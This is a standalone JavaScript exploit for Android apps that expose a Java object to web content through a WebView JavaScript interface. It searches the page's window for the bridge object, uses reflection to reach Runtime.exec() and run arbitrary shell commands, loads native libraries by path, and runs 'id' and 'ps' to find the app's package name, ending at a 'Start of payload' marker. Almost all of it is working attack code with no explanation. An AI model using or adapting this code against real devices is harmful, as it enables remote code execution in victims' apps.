/* Iterate through entire window looking for javascript interface */
function getJsVar()
{
    for (var prop in window)
    {
        try
        {
            window[prop].getClass();
            return window[prop];  
        }
        catch(err)
        {
            //console.log(err);
        }
    }

    console.log("Could not find JS interface");
    return null;
}

/* Execute command and receive result */
function execute(cmd)
{
    /* Find interface variable */
    var jsVar = getJsVar();
    if (jsVar == null)
        return null;

    /* Reflection-fu to get to Runtime.exec() and passing commands to sh */
    var inputStream = jsVar.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(['/system/bin/sh', '-c', cmd]).getInputStream();
    var output = "";

    /* Iterate through response */
    do
    {
        var readint = inputStream.read();

        if (readint > -1)
            output += String.fromCharCode(readint);
    }
    while (readint > -1);

    return output;
}

/* Load library from specified path */
function loadLib(path)
{
    /* Find interface variable */
    var jsVar = getJsVar();
    if (jsVar == null)
        return null;

    /* Load library using Runtime.load() */
    jsVar.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).load(path);

    return 1;
}

/* Get application package name */
function getPackageName()
{
    var id = execute('id');
    var app_id = /(app_\d+|u0_a\d+)/g.exec(id);
    if (app_id.length > 0)
        app_id = app_id[0];
    else
        app_id = "failed";

    var ps = execute('ps');
    var ps_lines = ps.split("\n").sort();

    for (var i in ps_lines)
    {
        try
        {
            if (ps_lines[i].indexOf(app_id) > -1)
            {
                var splits = ps_lines[i].split(" ");
                var last_col = splits[splits.length-1].trim();

                if (last_col.indexOf('.') > 0)
                    return last_col;
            }
        }
        catch(e)
        {
            console.log(e);
        }
    }
}

/* Start of payload */
